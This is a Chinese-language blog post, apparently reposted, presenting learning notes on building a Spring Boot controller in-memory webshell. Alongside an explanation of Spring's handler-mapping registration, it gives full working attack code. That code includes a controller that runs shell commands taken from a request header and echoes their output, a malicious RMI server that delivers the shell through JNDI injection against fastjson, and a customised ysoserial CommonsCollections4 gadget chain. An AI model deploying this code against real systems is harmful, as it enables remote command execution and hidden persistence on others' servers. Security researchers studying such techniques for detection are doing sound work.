SpringBoot Controller 內存馬 / yso定制


前言:學習spring系列controller內存馬的筆記

參考文章:https://www.cnblogs.com/bitterz/p/14820898.html#11-fastjson反序列化和jndi
參考文章:https://www.anquanke.com/post/id/198886#h3-8

什么時候用到內存馬

1、反序列化漏洞(有依賴可利用)

2、目標不出網

3、想要回顯信息

controller內存馬注入復現

可以看到成功打印了生成的控制器

訪問:http://localhost:8080/asdasd?cmd=calc ,可以看到命令是執行成功了,彈出對應的calc

實現controller 內存馬

url和Controller類的映射關系

跟tomcat的filter等對象類似,如果想要注入一個內存馬,那么就需要找到注冊controller控制器的關鍵過程,從而實現動態添加controller內存馬。

我查閱的文檔資料是:https://blog.csdn.net/Message_lx/article/details/107861905

這里直接在AbstractHandlerMethodMapping類中打上斷點來進行調試

org/springframework/web/servlet/handler/AbstractHandlerMethodMapping.java

通過官方的注釋可以看出來,這個類就是實現 一個request請求和需要調用哪個方法 之間映射關系的實現類

initHandlerMethods方法上打上斷點,如下圖所示,然后進行調試

對每個要注冊的Bean來調用processCandidateBean方法

如何isHandler符合的話就會進入到該判斷語句中調用detectHandlerMethods,這里來看下相關的isHandler方法,可以看到需要滿足被標記的注解為Controller.class 或者是 RequestMapping.class 才可以

如果當前的Bean被注解為Controller.class 或者是 RequestMapping.class,那么就進入到detectHandlerMethods方法中

其中每次都會對當前的控制器中的方法將其作為參數,調用getMappingForMethod方法

這里需要注意了,MethodIntrospector.selectMethods中第二個參數是一個回調方法,該方法其中會調用這個getMappingForMethod是重點方法,它做了如下的步驟

1、通過createRequestMappingInfo方法以當前控制器下的method作為變量,創建了一個RequestMappingInfo的對象

2、通過createRequestMappingInfo方法以當前控制器下的handlerType作為參數,創建了一個RequestMappingInfo的對象

接着下面還有一段循環操作,如下圖所示

其中的registerHandlerMethod方法,就會將一個控制器中所有的方法都注冊到對應的mapping中

具體操作如下圖,這個自己可以進行調試下

最后將其每個方法都注冊到registry中

可以看到當前控制器有兩個方法,這里會將兩個方法都注冊到registry中去

分析

這里重點就看RequestMappingInfo這個對象,上面的圖中其實最后的步驟就是一個RequestMappingInfo對象,然后將其注冊到當前spring的registry中去

那么RequestMappingInfo我們可以進行自定義,拿個對象來觀察下其中的屬性,可以看到重點的屬性有

patternsCondition:對應的請求地址
handlerMethod:對應的請求方法
methodsCondition :對應的請求方式

{RequestMappingInfo@7102} "{POST [/upload]}" -> {AbstractHandlerMethodMapping$MappingRegistration@7183} 
 key = {RequestMappingInfo@7102} "{POST [/upload]}"
  name = null
  pathPatternsCondition = null
  patternsCondition = {PatternsRequestCondition@7188} "[/upload]"
  methodsCondition = {RequestMethodsRequestCondition@7189} "[POST]"
  paramsCondition = {ParamsRequestCondition@7190} "[]"
  headersCondition = {HeadersRequestCondition@7191} "[]"
  consumesCondition = {ConsumesRequestCondition@7192} "[]"
  producesCondition = {ProducesRequestCondition@7193} "[]"
  customConditionHolder = {RequestConditionHolder@7194} "[]"
  hashCode = 1684276773
  options = {RequestMappingInfo$BuilderConfiguration@6865} 
 value = {AbstractHandlerMethodMapping$MappingRegistration@7183} 
  mapping = {RequestMappingInfo@7102} "{POST [/upload]}"
  handlerMethod = {HandlerMethod@7129} "com.zpchcbd.controller.FormController#upload(String, String, MultipartFile, MultipartFile[])"
  directPaths = {HashSet@7137}  size = 1
  mappingName = "FC#upload"
  corsConfig = false

然后通過剛才的分析可以看到,主要進行注冊的類是AbstractHandlerMethodMapping對象,其中就放置了我們要注冊的對象RequestMappingInfo

所以這里需要找到這個對象,方法如下,可以直接在IOC容器中進行獲取

// 1. 利用spring內部方法獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 從context中獲得 RequestMappingHandlerMapping 的實例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

最后理清下思路:

1、創建一個RequestMappingInfo對象,將對應實現的方法,請求地址等需要的信息都賦值到該對象中

2、然后通過IOC容器獲取RequestMappingHandlerMapping(AbstractHandlerMethodMapping的實現類),調用RequestMappingHandlerMapping的registerMapping方法來進行對應的控制器和方法的綁定

這里有個問題我沒研究過,就是在注冊完RequestMappingHandlerMapping之后,為什么這個控制器就會自動生效?這個地方我不太懂

想法:可能是registerMapping調用完之后,相關的spring容器會將新的controller放置到IOC容器中,我自己是這么猜想的,但是沒有代碼驗證。

最終實現的代碼如下,測試版本springboot 2.5.6

控制器類

public class InjectToController {
    public InjectToController(){

    }

    public void test() throws Exception {
        // 獲取request和response對象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 獲取cmd參數並執行命令
        System.out.println(request.getParameter("cmd"));
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

注入方法

    @ResponseBody
    @RequestMapping(value = "/inject", method = RequestMethod.GET)
    public String inject(){
        try {
            // 1. 利用spring內部方法獲取context
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 2. 從context中獲得 RequestMappingHandlerMapping 的實例
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            // 3. 通過反射獲得自定義 controller 中的 Method 對象
            Method method = InjectToController.class.getMethod("test");
            // 4. 定義訪問 controller 的 URL 地址
            PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
            // 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            // 6. 在內存中動態注冊 controller
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

            InjectToController injectToController = new InjectToController();
            mappingHandlerMapping.registerMapping(info, injectToController, method);
            return "inject ok...";
        }catch (Exception ex)
        {
            return "inject fail...";
        }
    }

模擬反序列化實現

這里用fastjson反序列化 jndi注入來進行模擬

自己模擬接口存在反序列化漏洞,如下圖所示

@Controller
public class SerializeController {
    /**
     * test fastjson jndi inject for memory shell.
     * */
    @ResponseBody
    @RequestMapping(value = "fastjson_serialize", method = RequestMethod.POST)
    public String test01(@RequestBody String payload){
        Object object2 = JSON.parse(payload);
        return object2.toString();
    }
}

內存馬:

其中的SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");,我需要講下為什么要這樣寫?

原因就是如果調用的還是默認的無參構造函數會導致遞歸調用,所以這里防止遞歸調用,就調用一個有參數的即可。

package com.zpchcbd.jndi.objectfactory.rmibypass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;

public class SpringBootMemoryShellOfController extends AbstractTranslet {

    public SpringBootMemoryShellOfController() throws Exception{
        // 1. 利用spring內部方法獲取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 從context中獲得 RequestMappingHandlerMapping 的實例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 3. 通過反射獲得自定義 controller 中的 Method 對象
        Method method = SpringBootMemoryShellOfController.class.getMethod("test");
        // 4. 定義訪問 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
        // 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 6. 在內存中動態注冊 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

        SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
    }

    public SpringBootMemoryShellOfController(String test){

    }

    public void test() throws Exception{
        // 獲取request和response對象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 獲取cmd參數並執行命令
        String cmd = request.getHeader("zpchcbd");
        if(cmd != null && !cmd.isEmpty()){
            String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
            response.getWriter().println(res);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

自己再起一個RMI服務

public class RMIReferenceServerTest  {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 9527");
        LocateRegistry.createRegistry(9527);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
        String replacement = payload.replace("replacement", injectMemshell(SpringEchoTemplate.class));
        System.out.println(replacement);
        ref.add(new StringRefAddr("x", replacement));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

        Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
        System.out.println("RMI服務啟動成功,服務地址:" + "rmi://192.168.0.108/AAAAAA");

    }

    public static String injectMemshell(Class clazz){
        String classCode = null;
        try{
            classCode = Utils.getClassCode(clazz);
        }catch(Exception e){
            e.printStackTrace();
        }

        String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
                "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
                "try{\n" +
                "   var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
                "   clazz.newInstance();\n" +
                "}catch(err){\n" +
                "   var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
                "   method.setAccessible(true);\n" +
                "   var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
                "   clazz.newInstance();\n" +
                "};";

        return code;
    }
}

然后訪問 http://localhost:8081/asdasd ,header頭為zpchcbd 命令為calc,如下圖所示

controller的缺點

在對於存在相關的攔截器的時候,controller內存馬就無法進行利用,原因就在於攔截器的調用順序在controller之前,所以controller不能作為通用的內存馬來進行使用。

定制化yso版本

public class SpringBootMemoryController extends AbstractTranslet {

    public SpringBootMemoryController() throws Exception{
        // 1. 利用spring內部方法獲取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 從context中獲得 RequestMappingHandlerMapping 的實例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 3. 通過反射獲得自定義 controller 中的 Method 對象
        Method method = SpringBootMemoryController.class.getMethod("test");
        // 4. 定義訪問 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
        // 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 6. 在內存中動態注冊 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

        SpringBootMemoryController springBootMemoryShellOfController = new SpringBootMemoryController("aaaaaaa");
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
    }

    public SpringBootMemoryController(String test){

    }

    public void test() throws Exception{
        // 獲取request和response對象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 獲取cmd參數並執行命令
        String command = request.getHeader("zpchcbd");
        if(command != null){
            try {
                java.io.PrintWriter printWriter = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                printWriter.write(o);
                printWriter.flush();
                printWriter.close();
            }catch (Exception ignored){

            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

這里用的是cc4生成的利用poc

public class CommonsCollections4_SpringbootMemoryController implements ObjectPayload<Queue<Object>> {

    public Queue<Object> getObject(final String ... command) throws Exception {
        Object templates = Gadgets.createTemplatesImpl(ysoserial.payloads.SpringBootMemoryController.class);

        ConstantTransformer constant = new ConstantTransformer(String.class);

        // mock method name until armed
        Class[] paramTypes = new Class[] { String.class };
        Object[] args = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

        // grab defensively copied arrays
        paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
        args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

        // create queue with numbers
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);

        // swap in values to arm
        Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        args[0] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections4_SpringbootMemoryController.class, args);
    }
}

發送payload,同樣成功進行注入內存馬


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM